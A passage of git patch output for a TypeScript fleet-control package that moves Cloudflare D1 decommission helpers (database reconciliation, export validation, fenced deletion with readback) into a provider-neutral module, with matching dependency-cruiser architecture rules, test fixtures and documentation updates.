'(?:^packages/fleet-control/src/(?:cloudflare-worker-attachment-scan|cloudflare-client|cloudflare-ordinary-worker-operations|cloudflare-provider-errors|workers-for-platforms-backend-switch-provider|wrangler-plain-worker-provisioning-api|wrangler-loop-backend|wrangler-runner|export-file-name|export-store|r2-export-store|provision|fleet|index)\\.ts$|^packages/fleet-control/src/workers/|^cloudflare(?:/|$)|(?:^|/)node_modules/(?:\\.pnpm/)?cloudflare(?:@|/))', reachable: true, }, }, + { + name: 'fleet-control-decommission-database-is-provider-neutral', + severity: 'error', + comment: + 'The shared bounded-D1 choreography is a provider-neutral runtime leaf. It may import only the database receipt port and strict plain-data guard at runtime; provider shapes remain type-only callback contracts.', + from: { + path: [ + '^packages/fleet-control/src/decommission-database\\.ts$', + '^scripts/architecture-fixtures/decommission-database-imports-provider\\.ts$', + ], + }, + to: { + path: '.*', + pathNot: + '^packages/fleet-control/src/(?:database-export-store|strict-plain-data)\\.ts$', + dependencyTypesNot: ['type-only', 'type-import'], + }, + }, { name: 'fleet-control-strict-plain-data-is-import-free', severity: 'error', diff --git a/packages/fleet-control/CLAUDE.md b/packages/fleet-control/CLAUDE.md index 4c960c6f..f7bf3511 100644 --- a/packages/fleet-control/CLAUDE.md +++ b/packages/fleet-control/CLAUDE.md @@ -18,6 +18,7 @@ Source map: - `cloudflare-client.ts`, `cloudflare-ordinary-worker-operations.ts`, `cloudflare-provider-errors.ts`, `cloudflare-rate-coordinator.ts`: provider API (the client, the ordinary-Worker operations behind it, the SDK-error helpers) and its shared quota fence - `cloudflare-client-config.ts`, `strict-plain-data.ts`, `cloudflare-worker-attachment-scan-state.ts`, `cloudflare-worker-attachment-scan.ts`: shared SDK retry bounds, strict resumable state, and the request-bounded account-wide D1/R2 attachment scanner - `decommission-intent.ts`: strict durable decommission shell and continuation-token codecs +- `decommission-database.ts`: provider-neutral bounded D1 reference, receipt, export-result, and deletion-settlement choreography - `json-field-reads.ts`: JSON field readers shared by provider adapters and error sanitization - `state-store.ts`, `migration-ledger.ts`, `d1-fleet-state-database.ts`, `database-export-store.ts`, `export-file-name.ts`, `export-store.ts`, `r2-export-store.ts`: durable fleet state (`d1-fleet-state-database.ts` adapts a Workers D1 binding to the state store's database port; `database-export-store.ts` declares `DurableDatabaseExportStore`, which `export-store.ts` implements over the filesystem and `r2-export-store.ts` over an R2 binding; `export-file-name.ts` holds the portable-segment check both stores use) - `workers/`: the platform's own deployed Workers, published as separate export entries diff --git a/packages/fleet-control/src/decommission-advance.ts b/packages/fleet-control/src/decommission-advance.ts index bf39cf60..a77df4ca 100644 --- a/packages/fleet-control/src/decommission-advance.ts +++ b/packages/fleet-control/src/decommission-advance.ts @@ -14,10 +14,13 @@ import { parseWorkerAttachmentScanProgress, WORKER_ATTACHMENT_EVIDENCE_BOUND, } from './cloudflare-worker-attachment-scan-state.js'; +import { captureDatabaseExportReceiptCapability } from './database-export-store.js'; import { - captureDatabaseExportReceiptCapability, - databaseExportReceiptIdentityFromUnknown, -} from './database-export-store.js'; + databaseExportFromUnknown, + databaseExportReceiptIdentity, + reconcilePersistedDatabaseFromCallbacks, + settleDatabaseDeletionUnderBarrier, +} from './decommission-database.js'; import { classifyDecommissionAdvanceToken, DecommissionAdvanceIntentError, @@ -30,7 +33,6 @@ import { deploymentSpecDigest } from './spec-digest.js'; import { cloneBoundedPlainData } from './strict-plain-data.js'; import type { ApplicationR2Resource, - DatabaseExport, DatabaseReference, DecommissionAdvanceIntent, DecommissionAdvanceToken, @@ -53,18 +55,12 @@ import { validateDeploymentSpec } from './validation.js'; const ACTION_ERROR = 'decommission advance action is malformed'; const RESULT_ERROR = 'bounded decommission attachment result is malformed'; -const DATABASE_EXPORT_RESULT_ERROR = - 'bounded decommission database export result is malformed'; -const DATABASE_REFERENCE_ERROR = 'persisted database reference is malformed'; -const DATABASE_OWNER_ERROR = 'persisted database owner is malformed'; const D1_APPLICATION_RESOURCES_ERROR = 'normal decommission D1 work requires every application R2 resource to be deleted'; const ATTACHMENT_STRING_BYTE_BOUND = 4_096; const RESULT_PLAIN_DATA_DEPTH_BOUND = 64; const RESULT_PLAIN_DATA_NODE_BOUND = 8_192; const RESULT_PLAIN_DATA_BYTE_BOUND = 96 * 1_024; -const DATABASE_REFERENCE_NODE_BOUND = 8; -const DATABASE_REFERENCE_BYTE_BOUND = 16_384; const SHA256 = /^[0-9a-f]{64}$/u; const STRUCTURED_CLONE = structuredClone; const NORMAL_ENTRY_PHASES = new Set([ @@ -335,67 +331,15 @@ export async function reconcilePersistedDatabase( fence: ExternalMutationFence, requireOwner = true, ): Promise<(DatabaseReference & { readonly created: false }) | undefined> { - const rawDatabase: unknown = await backend.getDatabase(record.databaseId); - if (rawDatabase === undefined) { - if (allowAbsent) return undefined; - throw new Error(`persisted database '${record.databaseId}' is absent`); - } - let plainDatabase: unknown; - try { - plainDatabase = cloneBoundedPlainData(rawDatabase, { - maxDepth: 1, - maxNodes: DATABASE_REFERENCE_NODE_BOUND, - maxScalarBytes: DATABASE_REFERENCE_BYTE_BOUND, - maxSerializedBytes: DATABASE_REFERENCE_BYTE_BOUND, - error: () => new Error(DATABASE_REFERENCE_ERROR), - }); - Reflect.apply(STRUCTURED_CLONE, undefined, [rawDatabase]); - } catch { - throw new Error(DATABASE_REFERENCE_ERROR); - } - if ( - !plainDatabase || - typeof plainDatabase !== 'object' || - Array.isArray(plainDatabase) - ) { - throw new Error(DATABASE_REFERENCE_ERROR); - } - const candidate = plainDatabase as Record; - if ( - !boundedString(candidate.id) || - !boundedString(candidate.name) || - candidate.created !== false - ) { - throw new Error(DATABASE_REFERENCE_ERROR); - } - const database = { - id: candidate.id, - name: candidate.name, - created: false as const, - }; - if ( - database.id !== record.databaseId || - database.name !== record.databaseName - ) { - throw new Error( - `persisted database '${record.databaseId}' resolved with unexpected identity '${database.id}:${database.name}'`, - ); - } - if (requireOwner) { - const owner: unknown = await backend.readDeploymentIdentity( - database, - fence, - ); - if (owner !== undefined && !boundedString(owner)) { - throw new Error(DATABASE_OWNER_ERROR); - } - if (owner !== record.tenantTag) { - throw new Error( - `refusing database operation for '${database.id}' owned by '${owner ?? 'no deployment'}'`, - ); - } - } - return database; + return reconcilePersistedDatabaseFromCallbacks({ + getDatabase: (databaseId) => backend.getDatabase(databaseId), + readOwner: (database, currentFence) => + backend.readDeploymentIdentity(database, currentFence), + record, + allowAbsent, + requireOwner, + fence, + }); } function requireCapability( @@ -434,23 +378,6 @@ function receiptCapability(backend: ProvisioningBackend): ReceiptCapability { }; } -function databaseReceiptIdentity( - record: Pick, - operationId: string, - authority: string, - expectedAuthority: string, -) { - return databaseExportReceiptIdentityFromUnknown( - { - version: 1, - authority, - databaseId: record.databaseId, - operationId, - }, - expectedAuthority, - ); -} - /** @internal Cross-field fence before normal-decommission D1 work. */ export function assertNormalDecommissionD1ResourcesDeleted( record: Pick, @@ -1277,20 +1204,6 @@ type ScanDecommissionIntent = Extract< { readonly state: 'discover' | 'verify' } >; -type Settlement = - | Readonly<{ status: 'fulfilled'; value: Value }> - | Readonly<{ status: 'rejected'; reason: unknown }>; - -async function settleOperation( - operation: () => Promise, -): Promise> { - try { - return { status: 'fulfilled', value: await operation() }; - } catch (reason) { - return { status: 'rejected', reason }; - } -} - function selectedReceiptAuthority(intent: ActiveDecommissionIntent): string { const authority = intent.databaseExportReceiptAuthority; if (typeof authority !== 'string' || authority.length === 0) { @@ -1323,45 +1236,6 @@ function databasePreDeletePurpose( }; } -function databaseExportFromUnknown( - value: unknown, - databaseId: string, -): DatabaseExport { - let plain: unknown; - try { - plain = cloneBoundedPlainData(value, { - maxDepth: RESULT_PLAIN_DATA_DEPTH_BOUND, - maxNodes: RESULT_PLAIN_DATA_NODE_BOUND, - maxScalarBytes: RESULT_PLAIN_DATA_BYTE_BOUND, - maxSerializedBytes: RESULT_PLAIN_DATA_BYTE_BOUND, - error: () => new Error(DATABASE_EXPORT_RESULT_ERROR), - }); - Reflect.apply(STRUCTURED_CLONE, undefined, [value]); - } catch { - throw new Error(DATABASE_EXPORT_RESULT_ERROR); - } - if (!plain || typeof plain !== 'object' || Array.isArray(plain)) { - throw new Error(DATABASE_EXPORT_RESULT_ERROR); - } - const candidate = plain as Record; - if ( - candidate.databaseId !== databaseId || - !boundedString(candidate.location) || - !Number.isSafeInteger(candidate.size) || - Number(candidate.size) < 1 || - typeof candidate.sha256 !== 'string' || - !SHA256.test(candidate.sha256) - ) { - throw new Error(DATABASE_EXPORT_RESULT_ERROR); - } - return { - databaseId, - location: candidate.location, - size: Number(candidate.size), - sha256: candidate.sha256, - }; -} - async function completeDatabaseDecommission( lease: FleetStateLease, record: FleetRecord, @@ -1388,28 +1262,6 @@ async function completeDatabaseDecommission( return writeIntent(lease, nextRecord, completeIntent); } -async function deleteDatabaseUnderBarrier( - backend: ProvisioningBackend, - lease: FleetStateLease, - record: FleetRecord, - database: DatabaseReference, - barrier: FleetRecord, -): Promise { - await lease.assertOwned(); - const deletion = await settleOperation(() => - backend.deleteDatabase(database, lease), - ); - await lease.assertOwned(); - const readback = await settleOperation(() => - backend.getDatabase(record.databaseId), - ); - await lease.assertOwned(); - if (readback.status === 'rejected') throw readback.reason; - if (readback.value === undefined) return barrier; - if (deletion.status === 'rejected') throw deletion.reason; - throw new Error(`database '${record.databaseId}' remains after deletion`); -} - async function advanceDatabaseTransition( options: AdvanceDecommissionDeploymentOptions, lease: FleetStateLease, @@ -1419,7 +1271,7 @@ async function advanceDatabaseTransition( ): Promise { const clock = options.clock ?? Date.now; if (intent.lifecyclePhase === 'application-resources-deleted') { - databaseReceiptIdentity( + databaseExportReceiptIdentity( record, intent.operationId, receipt.authority, @@ -1515,7 +1367,7 @@ async function consumeDatabaseVerify( await residual(options.spec, record, database, lease); if (intent.purpose.kind === 'database-pre-export') { await lease.assertOwned(); - const identity = databaseReceiptIdentity( + const identity = databaseExportReceiptIdentity( record, intent.operationId, selectedReceiptAuthority(intent), @@ -1547,13 +1399,13 @@ async function consumeDatabaseVerify( {}, { state: 'transitioning', lifecyclePhase: 'database-deleting' }, ); - return deleteDatabaseUnderBarrier( - options.backend, + return settleDatabaseDeletionUnderBarrier({ lease, - record, - database, + databaseId: record.databaseId, barrier, - ); + deleteDatabase: () => options.backend.deleteDatabase(database, lease), + readDatabase: () => options.backend.getDatabase(record.databaseId), + }); } async function advanceAttachmentScan( @@ -1833,7 +1685,7 @@ async function advanceUnderLease( ) { assertNormalDecommissionD1ResourcesDeleted(record); const receipt = receiptCapability(backend); - databaseReceiptIdentity( + databaseExportReceiptIdentity( record, intent.operationId, selectedReceiptAuthority(intent), @@ -1861,7 +1713,7 @@ async function advanceUnderLease( operationId, revision: 0, }); - databaseReceiptIdentity( + databaseExportReceiptIdentity( record, operationId, receipt.authority, @@ -1891,7 +1743,7 @@ async function advanceUnderLease( } const receipt = receiptCapability(backend); if (intent.purpose.kind !== 'application-r2-detach') { - databaseReceiptIdentity( + databaseExportReceiptIdentity( record, intent.operationId, selectedReceiptAuthority(intent), @@ -1951,7 +1803,7 @@ async function advanceUnderLease( } const receipt = receiptCapability(backend); if (isD1Action) { - databaseReceiptIdentity( + databaseExportReceiptIdentity( record, intent.operationId, selectedReceiptAuthority(intent), diff --git a/packages/fleet-control/src/decommission-database.ts b/packages/fleet-control/src/decommission-database.ts new file mode 100644 index 00000000..3d001766 --- /dev/null +++ b/packages/fleet-control/src/decommission-database.ts @@ -0,0 +1,202 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { databaseExportReceiptIdentityFromUnknown } from './database-export-store.js'; +import { cloneBoundedPlainData } from './strict-plain-data.js'; +import type { + DatabaseExport, + DatabaseExportReceiptIdentity, + DatabaseReference, + ExternalMutationFence, + FleetRecord, +} from './types.js'; + +const DATABASE_EXPORT_RESULT_ERROR = + 'bounded decommission database export result is malformed'; +const DATABASE_REFERENCE_ERROR = 'persisted database reference is malformed'; +const DATABASE_OWNER_ERROR = 'persisted database owner is malformed'; +const STRING_BYTE_BOUND = 4_096; +const RESULT_PLAIN_DATA_DEPTH_BOUND = 64; +const RESULT_PLAIN_DATA_NODE_BOUND = 8_192; +const RESULT_PLAIN_DATA_BYTE_BOUND = 96 * 1_024; +const DATABASE_REFERENCE_NODE_BOUND = 8; +const DATABASE_REFERENCE_BYTE_BOUND = 16_384; +const SHA256 = /^[0-9a-f]{64}$/u; +const STRUCTURED_CLONE = structuredClone; + +type Settlement = + | Readonly<{ status: 'fulfilled'; value: Value }> + | Readonly<{ status: 'rejected'; reason: unknown }>; + +async function settleOperation( + operation: () => Promise, +): Promise> { + try { + return { status: 'fulfilled', value: await operation() }; + } catch (reason) { + return { status: 'rejected', reason }; + } +} + +function boundedString(value: unknown): value is string { + return ( + typeof value === 'string' && + value.length > 0 && + value.length <= STRING_BYTE_BOUND && + new TextEncoder().encode(value).byteLength <= STRING_BYTE_BOUND + ); +} + +export interface ReconcilePersistedDatabaseFromCallbacksOptions { + readonly getDatabase: (databaseId: string) => Promise; + readonly readOwner?: ( + database: DatabaseReference, + fence: ExternalMutationFence, + ) => Promise; + readonly record: Pick< + FleetRecord, + 'databaseId' | 'databaseName' | 'tenantTag' + >; + readonly allowAbsent: boolean; + readonly requireOwner: boolean; + readonly fence: ExternalMutationFence; +} + +export async function reconcilePersistedDatabaseFromCallbacks( + options: ReconcilePersistedDatabaseFromCallbacksOptions, +): Promise<(DatabaseReference & { readonly created: false }) | undefined> { + const rawDatabase = await options.getDatabase(options.record.databaseId); + if (rawDatabase === undefined) { + if (options.allowAbsent) return undefined; + throw new Error( + `persisted database '${options.record.databaseId}' is absent`, + ); + } + let plainDatabase: unknown; + try { + plainDatabase = cloneBoundedPlainData(rawDatabase, { + maxDepth: 1, + maxNodes: DATABASE_REFERENCE_NODE_BOUND, + maxScalarBytes: DATABASE_REFERENCE_BYTE_BOUND, + maxSerializedBytes: DATABASE_REFERENCE_BYTE_BOUND, + error: () => new Error(DATABASE_REFERENCE_ERROR), + }); + Reflect.apply(STRUCTURED_CLONE, undefined, [rawDatabase]); + } catch { + throw new Error(DATABASE_REFERENCE_ERROR); + } + if ( + !plainDatabase || + typeof plainDatabase !== 'object' || + Array.isArray(plainDatabase) + ) { + throw new Error(DATABASE_REFERENCE_ERROR); + } + const candidate = plainDatabase as Record; + if ( + !boundedString(candidate.id) || + !boundedString(candidate.name) || + candidate.created !== false + ) { + throw new Error(DATABASE_REFERENCE_ERROR); + } + const database = { + id: candidate.id, + name: candidate.name, + created: false as const, + }; + if ( + database.id !== options.record.databaseId || + database.name !== options.record.databaseName + ) { + throw new Error( + `persisted database '${options.record.databaseId}' resolved with unexpected identity '${database.id}:${database.name}'`, + ); + } + if (options.requireOwner) { + if (!options.readOwner) throw new Error(DATABASE_OWNER_ERROR); + const owner = await options.readOwner(database, options.fence); + if (owner !== undefined && !boundedString(owner)) { + throw new Error(DATABASE_OWNER_ERROR); + } + if (owner !== options.record.tenantTag) { + throw new Error( + `refusing database operation for '${database.id}' owned by '${owner ?? 'no deployment'}'`, + ); + } + } + return database; +} + +export function databaseExportFromUnknown( + value: unknown, + databaseId: string, +): DatabaseExport { + let plain: unknown; + try { + plain = cloneBoundedPlainData(value, { + maxDepth: RESULT_PLAIN_DATA_DEPTH_BOUND, + maxNodes: RESULT_PLAIN_DATA_NODE_BOUND, + maxScalarBytes: RESULT_PLAIN_DATA_BYTE_BOUND, + maxSerializedBytes: RESULT_PLAIN_DATA_BYTE_BOUND, + error: () => new Error(DATABASE_EXPORT_RESULT_ERROR), + }); + Reflect.apply(STRUCTURED_CLONE, undefined, [value]); + } catch { + throw new Error(DATABASE_EXPORT_RESULT_ERROR); + } + if (!plain || typeof plain !== 'object' || Array.isArray(plain)) { + throw new Error(DATABASE_EXPORT_RESULT_ERROR); + } + const candidate = plain as Record; + if ( + candidate.databaseId !== databaseId || + !boundedString(candidate.location) || + !Number.isSafeInteger(candidate.size) || + Number(candidate.size) < 1 || + typeof candidate.sha256 !== 'string' || + !SHA256.test(candidate.sha256) + ) { + throw new Error(DATABASE_EXPORT_RESULT_ERROR); + } + return { + databaseId, + location: candidate.location, + size: Number(candidate.size), + sha256: candidate.sha256, + }; +} + +export function databaseExportReceiptIdentity( + record: Pick, + operationId: string, + authority: string, + expectedAuthority: string, +): DatabaseExportReceiptIdentity { + return databaseExportReceiptIdentityFromUnknown( + { + version: 1, + authority, + databaseId: record.databaseId, + operationId, + }, + expectedAuthority, + ); +} + +export async function settleDatabaseDeletionUnderBarrier(options: { + readonly lease: Pick; + readonly databaseId: string; + readonly barrier: Barrier; + readonly deleteDatabase: () => Promise; + readonly readDatabase: () => Promise; +}): Promise { + await options.lease.assertOwned(); + const deletion = await settleOperation(options.deleteDatabase); + await options.lease.assertOwned(); + const readback = await settleOperation(options.readDatabase); + await options.lease.assertOwned(); + if (readback.status === 'rejected') throw readback.reason; + if (readback.value === undefined) return options.barrier; + if (deletion.status === 'rejected') throw deletion.reason; + throw new Error(`database '${options.databaseId}' remains after deletion`); +} diff --git a/scripts/architecture-fixtures/decommission-advance-imports-provider.ts b/scripts/architecture-fixtures/decommission-advance-imports-provider.ts index 076b150a..854c6b3c 100644 --- a/scripts/architecture-fixtures/decommission-advance-imports-provider.ts +++ b/scripts/architecture-fixtures/decommission-advance-imports-provider.ts @@ -1 +1,2 @@ -import '../../packages/fleet-control/src/cloudflare-client.js'; +import '../../packages/fleet-control/src/backend-switch.js'; +import '../../packages/fleet-control/src/workers-for-platforms-backend-switch-provider.js'; diff --git a/scripts/architecture-fixtures/decommission-database-imports-provider.ts b/scripts/architecture-fixtures/decommission-database-imports-provider.ts new file mode 100644 index 00000000..e7fbc74b --- /dev/null +++ b/scripts/architecture-fixtures/decommission-database-imports-provider.ts @@ -0,0 +1,2 @@ +import '../../packages/fleet-control/src/cloudflare-client.js'; +import '../../packages/fleet-control/src/workers-for-platforms-backend-switch-provider.js'; diff --git a/scripts/architecture-positive-controls.test.mjs b/scripts/architecture-positive-controls.test.mjs index f61b3389..ac0fff71 100644 --- a/scripts/architecture-positive-controls.test.mjs +++ b/scripts/architecture-positive-controls.test.mjs @@ -15,6 +15,43 @@ const cli = fileURLToPath( const configPath = fileURLToPath( new URL('../.dependency-cruiser.cjs', import.meta.url), ); +const erasedDependencyTypes = new Set(['type-only', 'type-import']); +const decommissionAdvance = + 'packages/fleet-control/src/decommission-advance.ts'; +const backendSwitch = 'packages/fleet-control/src/backend-switch.ts'; +const switchProvider = + 'packages/fleet-control/src/workers-for-platforms-backend-switch-provider.ts'; + +function runtimeAdjacency(report) { + return new Map( + report.modules.map((module) => [ + module.source, + module.dependencies + .filter( + (dependency) => + !dependency.dependencyTypes.some((type) => + erasedDependencyTypes.has(type), + ), + ) + .map((dependency) => dependency.resolved) + .filter((resolved) => typeof resolved === 'string') + .sort(), + ]), + ); +} + +function reaches(adjacency, source, target) { + const visited = new Set(); + const pending = [source]; + while (pending.length > 0) { + const current = pending.shift(); + if (current === target) return true; + if (current === undefined || visited.has(current)) continue; + visited.add(current); + pending.push(...(adjacency.get(current) ?? [])); + } + return false; +} const controls = { 'flowsafe-public-entry-no-agent-host': @@ -46,6 +83,8 @@ const controls = { 'scripts/architecture-fixtures/decommission-state-imports-provider.ts', 'fleet-control-decommission-advance-is-transport-neutral': 'scripts/architecture-fixtures/decommission-advance-imports-provider.ts', + 'fleet-control-decommission-database-is-provider-neutral': + 'scripts/architecture-fixtures/decommission-database-imports-provider.ts', 'fleet-control-strict-plain-data-is-import-free': 'scripts/architecture-fixtures/decommission-state-imports-provider.ts', 'fleet-control-ports-do-not-reach-d1-adapter': @@ -67,13 +106,17 @@ test('every architecture rule has an executable positive control', () => { for (const [ruleName, fixture] of Object.entries(controls)) { test(`${ruleName} rejects its positive control`, () => { + const entries = + ruleName === 'fleet-control-decommission-advance-is-transport-neutral' + ? [fixture, decommissionAdvance] + : [fixture]; const args = [ cli, '--config', configPath, '--output-type', 'json', - fixture, + ...entries, ]; const result = spawnSync(process.execPath, args, { cwd: fileURLToPath(new URL('..', import.meta.url)), @@ -121,11 +164,38 @@ for (const [ruleName, fixture] of Object.entries(controls)) { assert.ok( report.summary.violations.some( (violation) => - violation.rule.name === ruleName && - violation.to === 'packages/fleet-control/src/cloudflare-client.ts', + violation.rule.name === ruleName && violation.to === switchProvider, ), - 'decommission advance control did not reject the provider client', + 'decommission advance control did not reject the concrete switch provider', ); + const adjacency = runtimeAdjacency(report); + assert.equal( + reaches(adjacency, decommissionAdvance, backendSwitch), + false, + ); + assert.equal( + reaches(adjacency, decommissionAdvance, switchProvider), + false, + ); + assert.equal(reaches(adjacency, fixture, backendSwitch), true); + assert.equal(reaches(adjacency, fixture, switchProvider), true); + } + if ( + ruleName === 'fleet-control-decommission-database-is-provider-neutral' + ) { + assert.deepEqual([...new Set(violations)], [ruleName]); + for (const target of [ + 'packages/fleet-control/src/cloudflare-client.ts', + switchProvider, + ]) { + assert.ok( + report.summary.violations.some( + (violation) => + violation.rule.name === ruleName && violation.to === target, + ), + `decommission database control did not reject ${target}`, + ); + } } if (ruleName === 'fleet-control-strict-plain-data-is-import-free') { for (const target of ['cloudflare', 'crypto']) { From 5d2806309a6b06dca8402d607e064df2c5354c35 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Sun, 30 Aug 2026 21:04:54 +0400 Subject: [PATCH 039/169] docs(fleet-control): mark decommission database helpers internal --- packages/fleet-control/src/decommission-database.ts | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/packages/fleet-control/src/decommission-database.ts b/packages/fleet-control/src/decommission-database.ts index 3d001766..4acea933 100644 --- a/packages/fleet-control/src/decommission-database.ts +++ b/packages/fleet-control/src/decommission-database.ts @@ -46,8 +46,10 @@ function boundedString(value: unknown): value is string { ); } +/** @internal Callback contract for provider-neutral persisted-D1 validation. */ export interface ReconcilePersistedDatabaseFromCallbacksOptions { readonly getDatabase: (databaseId: string) => Promise; + /** Required when `requireOwner` is true; otherwise it is not called. */ readonly readOwner?: ( database: DatabaseReference, fence: ExternalMutationFence, @@ -61,6 +63,7 @@ export interface ReconcilePersistedDatabaseFromCallbacksOptions { readonly fence: ExternalMutationFence; } +/** @internal Reconciles one persisted database through provider-neutral callbacks. */ export async function reconcilePersistedDatabaseFromCallbacks( options: ReconcilePersistedDatabaseFromCallbacksOptions, ): Promise<(DatabaseReference & { readonly created: false }) | undefined> { @@ -127,6 +130,7 @@ export async function reconcilePersistedDatabaseFromCallbacks( return database; } +/** @internal Reconstructs a bounded export result for the expected database. */ export function databaseExportFromUnknown( value: unknown, databaseId: string, @@ -166,6 +170,7 @@ export function databaseExportFromUnknown( }; } +/** @internal Constructs the canonical receipt identity for one operation. */ export function databaseExportReceiptIdentity( record: Pick, operationId: string, @@ -183,6 +188,7 @@ export function databaseExportReceiptIdentity( ); } +/** @internal Settles a fenced deletion and readback under a durable barrier. */ export async function settleDatabaseDeletionUnderBarrier(options: { readonly lease: Pick; readonly databaseId: string; From 7ef8fa1cce66305a847ea66cf93c856be32615eb Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Mon, 31 Aug 2026 00:31:27 +0400 Subject: [PATCH 040/169] feat(fleet-control): add bounded backend-switch teardown --- .changeset/bounded-decommission.md | 2 + .dependency-cruiser.cjs | 24 +- docs/api-reference.md | 2 +- docs/fleet-control.md | 14 +- packages/fleet-control/CLAUDE.md | 2 +- packages/fleet-control/README.md | 4 + .../scripts/packed-consumer-test.mjs | 105 + packages/fleet-control/src/backend-switch.ts | 3556 ++++++++++++++++- .../fleet-control/src/cloudflare-client.ts | 86 +- .../fleet-control/src/decommission-advance.ts | 308 +- .../fleet-control/src/decommission-intent.ts | 143 +- packages/fleet-control/src/index.ts | 2 + .../src/provider-binding-inventory.ts | 255 +- packages/fleet-control/src/provision.ts | 116 +- packages/fleet-control/src/state-store.ts | 58 +- packages/fleet-control/src/types.ts | 172 +- ...s-for-platforms-backend-switch-provider.ts | 709 +++- .../test/backend-switch-provider.test.ts | 836 +++- .../fleet-control/test/backend-switch.test.ts | 1892 ++++++++- .../cloudflare-client-plain-worker.test.ts | 206 +- .../test/cloudflare-client.test.ts | 148 + .../test/cross-backend-continuation.test.ts | 127 + .../test/decommission-intent.test.ts | 134 + .../test/fixtures/cloudflare-fetch-fixture.ts | 21 +- .../fixtures/decommission-intent-fixture.ts | 116 + .../fixtures/fleet-state-harness-probe.ts | 334 +- .../fixtures/wrangler-world-projection.ts | 17 +- packages/fleet-control/test/provision.test.ts | 420 +- .../test/state-store.harness.test.ts | 73 + .../fleet-control/test/state-store.test.ts | 300 +- ...gler-plain-worker-provisioning-api.test.ts | 41 +- .../decommission-database-imports-provider.ts | 3 + .../architecture-positive-controls.test.mjs | 94 +- 33 files changed, 9785 insertions(+), 535 deletions(-) diff --git a/.changeset/bounded-decommission.md b/.changeset/bounded-decommission.md index 4d6b3eff..06477316 100644 --- a/.changeset/bounded-decommission.md +++ b/.changeset/bounded-decommission.md @@ -5,3 +5,5 @@ Add token-driven bounded normal decommissioning for at-least-once control-plane Worker workflows. Fleet D1 owns scan progress. Each call performs at most one bounded scan chunk; only an exact matching verify may immediately consume that result through its single same-lease resource action. Other calls perform at most one lifecycle or resource action group. Persist an immutable database-export receipt authority before the first D1 scan or export. Retries after artifact commit or Fleet state-write loss converge on the same filesystem or R2 receipt; authority changes and byte collisions preserve the committed winner and fail closed. Custom bounded backends must expose the paired receipt authority and export capability. Queue-driven bounded decommissioning requires Workers Paid because its bounded multi-R2 read groups can exceed the Free plan external-subrequest limit. + +Add a root-only bounded backend-switch advance API that uses the same durable token and receipt guarantees. It binds teardown to one immutable switch snapshot and captured entry subphase, advances at most one release, R2 resource, scan chunk, or D1 action group per call, and preserves legacy recovery after a shell-less deployment reaches export authorization. A pending ordinary Worker requires lossless exact-version inspection, authoritative secret-name inventory, and its persisted Durable Object namespace identities. Custom switch providers must expose the bounded scan, receipt, database, residual, delete, and conditional pending-artifact inspection capabilities required by the durable state they resume. diff --git a/.dependency-cruiser.cjs b/.dependency-cruiser.cjs index a365f791..9db825b6 100644 --- a/.dependency-cruiser.cjs +++ b/.dependency-cruiser.cjs @@ -162,7 +162,7 @@ module.exports = { comment: 'The principal-contract-types type cycle is the sole existing exception; any cycle involving another module fails.', from: { - path: '^(?:packages/flowsafe/src|packages/agent-starter/(?:src|test|scripts)|scripts/architecture-fixtures)/', + path: '^(?:packages/flowsafe/src|packages/fleet-control/src|packages/agent-starter/(?:src|test|scripts)|scripts/architecture-fixtures)/', }, to: { circular: true, @@ -173,7 +173,7 @@ module.exports = { name: 'fleet-control-client-layers-are-one-way', severity: 'error', comment: - 'These fleet-control modules must not reach the Cloudflare client; a back-import would restore the coupling the extraction removed. packages/fleet-control is outside no-new-architecture-cycles. tsPreCompilationDeps keeps type-only imports in the graph, so an `import type` back-edge is covered.', + 'These fleet-control modules must not reach the Cloudflare client; a back-import would restore the coupling the extraction removed. The general cycle rule also covers Fleet Control, and tsPreCompilationDeps keeps type-only imports in the graph.', from: { path: [ '^packages/fleet-control/src/', @@ -215,7 +215,7 @@ module.exports = { ], }, to: { - path: '(?:^packages/fleet-control/src/(?:cloudflare-worker-attachment-scan|cloudflare-client|cloudflare-ordinary-worker-operations|cloudflare-provider-errors|workers-for-platforms-backend-switch-provider|wrangler-plain-worker-provisioning-api|wrangler-loop-backend|wrangler-runner|export-file-name|export-store|r2-export-store|provision|fleet|index)\\.ts$|^packages/fleet-control/src/workers/|^cloudflare(?:/|$)|(?:^|/)node_modules/(?:\\.pnpm/)?cloudflare(?:@|/))', + path: '(?:^packages/fleet-control/src/(?:backend-switch|cloudflare-worker-attachment-scan|cloudflare-client|cloudflare-ordinary-worker-operations|cloudflare-provider-errors|workers-for-platforms-backend-switch-provider|wrangler-plain-worker-provisioning-api|wrangler-loop-backend|wrangler-runner|export-file-name|export-store|r2-export-store|provision|fleet|index)\\.ts$|^packages/fleet-control/src/workers/|^cloudflare(?:/|$)|(?:^|/)node_modules/(?:\\.pnpm/)?cloudflare(?:@|/))', reachable: true, }, }, @@ -237,6 +237,22 @@ module.exports = { dependencyTypesNot: ['type-only', 'type-import'], }, }, + { + name: 'fleet-control-backend-switch-does-not-reach-its-provider', + severity: 'error', + comment: + 'The root switch coordinator depends on provider-neutral ports. It must not reach the concrete Workers for Platforms switch provider, which implements those ports over Cloudflare transports.', + from: { + path: [ + '^packages/fleet-control/src/backend-switch\\.ts$', + '^scripts/architecture-fixtures/decommission-database-imports-provider\\.ts$', + ], + }, + to: { + path: '^packages/fleet-control/src/workers-for-platforms-backend-switch-provider\\.ts$', + reachable: true, + }, + }, { name: 'fleet-control-strict-plain-data-is-import-free', severity: 'error', @@ -287,7 +303,7 @@ module.exports = { name: 'fleet-control-client-does-not-reach-its-consumers', severity: 'error', comment: - 'index.ts, cloudflare-api-plain-worker-backend.ts, and cloudflare-api-plain-worker-provisioning-api.ts import the Cloudflare client, so the client reaching one of them would close a cycle. fleet-control-client-layers-are-one-way holds the client and those three modules in its pathNot, and packages/fleet-control is outside no-new-architecture-cycles.', + 'index.ts, cloudflare-api-plain-worker-backend.ts, and cloudflare-api-plain-worker-provisioning-api.ts import the Cloudflare client, so the client reaching one of them would close a cycle. The one-way rule and the general Fleet Control cycle rule both reject that reverse reach.', from: { path: [ '^packages/fleet-control/src/cloudflare-client\\.ts$', diff --git a/docs/api-reference.md b/docs/api-reference.md index 092c579d..e3f81993 100644 --- a/docs/api-reference.md +++ b/docs/api-reference.md @@ -68,7 +68,7 @@ The migration and idempotency surfaces are grouped by subpath: | Surface | Main exports | | --- | --- | -| Provisioning | `provisionDeployment`, 